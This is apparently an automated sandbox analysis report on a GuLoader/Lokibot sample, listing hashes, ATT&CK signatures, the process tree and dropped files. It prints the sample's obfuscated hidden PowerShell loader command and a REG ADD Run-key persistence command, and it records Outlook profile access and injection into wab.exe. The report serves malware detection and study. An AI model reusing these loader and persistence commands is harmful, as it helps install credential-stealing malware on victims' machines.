guloader | 2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152

Analysis

max time kernel
141s
max time network
150s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
24-06-2024 19:19

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General

Target

bobohabobo.exe
Size

492KB
MD5

daefc1d031c8aaa70bc98e08278792c0
SHA1

148d0b47ec294971d0a7bc64b93e21c15048ad75
SHA256

2b1e95e09f17b8495ebbbbaccf86418440cfaeb4fadd8156ab7fc533c1efb152
SHA512

e9831ed53ef93d401fcf870dfe943e9ce76bf01deedba4db46d8860b638432445b6e7b13c639b2dd6dc8df7d1b82c57f1325aeba27816cd6d6d108dea351293c
SSDEEP

12288:Tqgow1LlsfJfmAhRRwXyx+B7JgyD9qhIVa5LkS:N1L+fJeAhRiix+lJgyZXVa5R

Score

10^/10

guloader lokibot collection downloader execution persistence spyware stealer trojan

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2608 powershell.exe
Loads dropped DLL 3 IoCs

Processes:

bobohabobo.exe

pid process

2444 bobohabobo.exe
2444 bobohabobo.exe
2444 bobohabobo.exe

pid	process
2608	powershell.exe

pid	process
2444	bobohabobo.exe
2444	bobohabobo.exe
2444	bobohabobo.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

wab.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	wab.exe
Key opened	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	wab.exe
Key opened	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	wab.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Windows\CurrentVersion\Run\Henvendelserne = "%Photomezzotype% -windowstyle minimized $Invitationskortene=(Get-ItemProperty -Path 'HKCU:\\diplomingenirs\\').Thumbling;%Photomezzotype% ($Invitationskortene)"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

3 drive.google.com
5 drive.google.com
Drops file in System32 directory 1 IoCs

Processes:

bobohabobo.exe

description ioc process

File created C:\Windows\SysWOW64\energetiskes\Physicianer223.lnk bobohabobo.exe
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

wab.exe

pid process

764 wab.exe
764 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2608 powershell.exe
764 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2608 set thread context of 764 2608 powershell.exe wab.exe

flow	ioc
3	drive.google.com
5	drive.google.com

description	ioc	process
File created	C:\Windows\SysWOW64\energetiskes\Physicianer223.lnk	bobohabobo.exe

pid	process
764	wab.exe
764	wab.exe

pid	process
2608	powershell.exe
764	wab.exe

description	pid	process	target process
PID 2608 set thread context of 764	2608	powershell.exe	wab.exe

Drops file in Program Files directory 3 IoCs

Processes:

bobohabobo.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Common Files\Marrowless\Mutated.ini	bobohabobo.exe
File opened for modification	C:\Program Files (x86)\Common Files\eduard.lyz	bobohabobo.exe
File opened for modification	C:\Program Files (x86)\Common Files\yeastless.Rus	bobohabobo.exe

Drops file in Windows directory 1 IoCs

Processes:

bobohabobo.exe

description ioc process

File opened for modification C:\Windows\schematizers.roa bobohabobo.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

3008 reg.exe
Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exe

pid process

2608 powershell.exe
2608 powershell.exe
2608 powershell.exe
2608 powershell.exe
2608 powershell.exe
2608 powershell.exe
2608 powershell.exe
2608 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2608 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exewab.exe

description pid process

Token: SeDebugPrivilege 2608 powershell.exe
Token: SeDebugPrivilege 764 wab.exe

description	ioc	process
File opened for modification	C:\Windows\schematizers.roa	bobohabobo.exe

pid	process
3008	reg.exe

pid	process
2608	powershell.exe
2608	powershell.exe
2608	powershell.exe
2608	powershell.exe
2608	powershell.exe
2608	powershell.exe
2608	powershell.exe
2608	powershell.exe

pid	process
2608	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeDebugPrivilege	764	wab.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

bobohabobo.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 2444 wrote to memory of 2608	2444	bobohabobo.exe	powershell.exe
PID 2444 wrote to memory of 2608	2444	bobohabobo.exe	powershell.exe
PID 2444 wrote to memory of 2608	2444	bobohabobo.exe	powershell.exe
PID 2444 wrote to memory of 2608	2444	bobohabobo.exe	powershell.exe
PID 2608 wrote to memory of 764	2608	powershell.exe	wab.exe
PID 2608 wrote to memory of 764	2608	powershell.exe	wab.exe
PID 2608 wrote to memory of 764	2608	powershell.exe	wab.exe
PID 2608 wrote to memory of 764	2608	powershell.exe	wab.exe
PID 2608 wrote to memory of 764	2608	powershell.exe	wab.exe
PID 2608 wrote to memory of 764	2608	powershell.exe	wab.exe
PID 764 wrote to memory of 2956	764	wab.exe	cmd.exe
PID 764 wrote to memory of 2956	764	wab.exe	cmd.exe
PID 764 wrote to memory of 2956	764	wab.exe	cmd.exe
PID 764 wrote to memory of 2956	764	wab.exe	cmd.exe
PID 2956 wrote to memory of 3008	2956	cmd.exe	reg.exe
PID 2956 wrote to memory of 3008	2956	cmd.exe	reg.exe
PID 2956 wrote to memory of 3008	2956	cmd.exe	reg.exe
PID 2956 wrote to memory of 3008	2956	cmd.exe	reg.exe

outlook_office_path 1 IoCs

Processes:

wab.exe

description ioc process

Key opened \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook wab.exe
outlook_win_path 1 IoCs

Processes:

wab.exe

description ioc process

Key opened \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook wab.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	wab.exe

C:\Users\Admin\AppData\Local\Temp\bobohabobo.exe
"C:\Users\Admin\AppData\Local\Temp\bobohabobo.exe"
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2444

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Sddonoren198=Get-Content 'C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Metalvrker.Uns';$Fletdokumenter=$Sddonoren198.SubString(21681,3);.$Fletdokumenter($Sddonoren198)"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2608

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
3⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:764

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Henvendelserne" /t REG_EXPAND_SZ /d "%Photomezzotype% -windowstyle minimized $Invitationskortene=(Get-ItemProperty -Path 'HKCU:\diplomingenirs\').Thumbling;%Photomezzotype% ($Invitationskortene)"
4⤵
- Suspicious use of WriteProcessMemory
PID:2956

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Henvendelserne" /t REG_EXPAND_SZ /d "%Photomezzotype% -windowstyle minimized $Invitationskortene=(Get-ItemProperty -Path 'HKCU:\diplomingenirs\').Thumbling;%Photomezzotype% ($Invitationskortene)"
5⤵
- Adds Run key to start application
- Modifies registry key
PID:3008

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads

C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Altankasser.Dro
Filesize
355KB

MD5
57bd125a62672139c297f0088499e8ab

SHA1
88abea8e83792148e3c15104b951344e7d1e8066

SHA256
d029a2301d987de90dde75c7dae9ebdb9008b151a334e1af339f0606d6194aef

SHA512
37b02024b0e8e3292bdf53abbd63b848ace42eb3280baec5afe379f1992bd1481fe9f4a9d4ff8a0b7d3ace73dba2bb2c6f71da5d81fce2de3a63e31430df0795

Download Submit
C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Metalvrker.Uns
Filesize
70KB

MD5
9ad72344eaf3be12f5ce07ddddeaaf5d

SHA1
c9af4b7abd334707a722ff427bbd367f0260948d

SHA256
e0c9477ce03da5dc70ac493088572f801f54ef86b6582dd8631a8f0036b556c2

SHA512
423d3c7958e70ee461b424f979608120a483836c476de7f446e6f84e32cc8f6ccd8d3d9911a9d432b5e69e154224a87a0c03bb34d21a1620f4f1d45b0e32eedb

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-39690363-730359138-1046745555-1000\0f5007522459c86e95ffcc62f32308f1_793829ab-9e00-42f6-8ab9-a6ffde9cf44a
Filesize
46B

MD5
d898504a722bff1524134c6ab6a5eaa5

SHA1
e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

SHA256
878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

SHA512
26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-39690363-730359138-1046745555-1000\0f5007522459c86e95ffcc62f32308f1_793829ab-9e00-42f6-8ab9-a6ffde9cf44a
Filesize
46B

MD5
c07225d4e7d01d31042965f048728a0a

SHA1
69d70b340fd9f44c89adb9a2278df84faa9906b7

SHA256
8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

SHA512
23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Download Submit
\Users\Admin\AppData\Local\Temp\nst4E9E.tmp\Banner.dll
Filesize
4KB

MD5
843657eaf7240b695624dcf38bb0eb31

SHA1
ca99a44e737fdeaab56f864ce1ef15a57d2eec90

SHA256
b935d14c32ad8e16055f7f5794ac3411e601c5ac93155afc623f25b08e2ab82e

SHA512
7773d9f6bbd17253d1c96ce225b2f9d3673969b38177afef236d1c5d4aabaae2c07793e07c34f0281ec3b859ae955e83bfe43a598ce7cc6c893ec8c9604f5de3

Download Submit
\Users\Admin\AppData\Local\Temp\nst4E9E.tmp\BgImage.dll
Filesize
7KB

MD5
a98576f0d6b35b466cb881860977fdbc

SHA1
28b3dbbd76f15c876b98dce523100aa3256d193a

SHA256
6cc4aadae46ee3e7f39b411ba087ec29bc10aa62b6b5b44003c934b3c51cefe2

SHA512
29225bfb30e72d7d3d3571e7562b5901dbf2382af1972cc9a2be8e3bef697b9ac9e0aaac3a9bca191da827ad3cfce7f6876e8be9444663e83a7e2e86788a733c

Download Submit
\Users\Admin\AppData\Local\Temp\nst4E9E.tmp\nsDialogs.dll
Filesize
9KB

MD5
2c84faebfda2abe3b16fdf374df4272f

SHA1
a5b0258a94e0440aefe1ef320e62e7a9a1c8bb40

SHA256
72b38e4cca0af336655d55501c4ea05080baaa9921a62a2d717afe90bb801004

SHA512
207164cc6914c59d9f4f3b8ae97628c544093ba6ecda9f8da351f453cd97e03be7a640264b8686b2d5e6f3c787f4df1d8a1ebc8e51fd788a97460cd981cc015e

Download Submit
memory/764-39-0x0000000000400000-0x0000000000581000-memory.dmp

Filesize
1.5MB

Download
memory/764-61-0x0000000001020000-0x0000000005348000-memory.dmp

Filesize
67.2MB

Download
memory/2608-32-0x00000000735C0000-0x0000000073B6B000-memory.dmp

Filesize
5.7MB

Download
memory/2608-31-0x00000000735C0000-0x0000000073B6B000-memory.dmp

Filesize
5.7MB

Download
memory/2608-36-0x00000000735C0000-0x0000000073B6B000-memory.dmp

Filesize
5.7MB

Download
memory/2608-37-0x00000000065D0000-0x000000000A8F8000-memory.dmp

Filesize
67.2MB

Download
memory/2608-30-0x00000000735C0000-0x0000000073B6B000-memory.dmp

Filesize
5.7MB

Download
memory/2608-29-0x00000000735C0000-0x0000000073B6B000-memory.dmp

Filesize
5.7MB

Download
memory/2608-28-0x00000000735C1000-0x00000000735C2000-memory.dmp

Filesize
4KB

Download